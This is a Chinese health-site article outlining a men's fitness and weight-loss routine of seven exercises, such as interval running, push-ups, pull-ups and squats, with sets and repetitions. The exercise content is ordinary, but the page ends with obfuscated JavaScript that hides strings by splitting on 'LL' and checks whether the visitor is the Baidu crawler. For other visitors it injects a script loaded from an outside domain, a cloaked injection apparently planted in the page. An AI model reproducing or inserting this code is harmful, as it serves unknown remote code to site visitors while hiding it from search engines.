当前位置:首页 > 减肥 > 运动减肥 > 正文

男生健身减肥计划有哪些呢

2017-01-15 22:41:08  来源:360常识网   热度:
导语:随着社会的发展,健身减肥成了大家共同的一个话题,健身减肥不仅仅是美女的专利了,胖胖的男士朋友也都悄悄加入了健身减肥行列中,特别是越

随着社会的发展,健身减肥成了大家共同的一个话题,健身减肥不仅仅是美女的专利了,胖胖的男士朋友也都悄悄加入了健身减肥行列中,特别是越来越多的人沉浸在办公室的工作和酒场的交际应酬中,致使对于运动和好身体的概念越来越薄弱,那么男生健身减肥计划有哪些呢?今天我们就来看看如何拥有一个健康的体魄吧。

1、慢跑和快跑交替的间歇训练

慢跑2分钟,然后快跑1分钟,照此交替,保持20分钟。

2、坐姿抱球转体

双手伸直持球,左右转体,每侧20个,做3组。

3、手低脚高俯卧撑

保持脚高于手做俯卧撑,重心下降到快碰触地面时停顿1到2秒,每组做20个,做3组。

4、仰卧引体向上

双手握住直杠,保持身体笔直,向上拉起的时候挺胸收腹,每组做10个,做3组。

5、力量上下台阶

采用两只脚交替上下台阶,身体保持正直,每组做16个,做3组。

6、宽握距引体向上

双手宽握单杠,向上拉起时要求用胸部去贴单杠,每组做10个,做3组。

7、原地徒手深蹲

双脚略宽于肩, 挺胸收紧腰腹部,下蹲时双手前平举伸直,最低点时保持1到2秒,每组做20个,做3组。

以上就是男生健身减肥计划的全部内容了,男生想要拥有好身材、健康的体魄,特别是经常坐办公室和喝酒应酬的男士,不妨试试以上的这些健身减肥方法,每天坚持锻炼、持之以恒。一定会拥有一个健康的身体哦。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}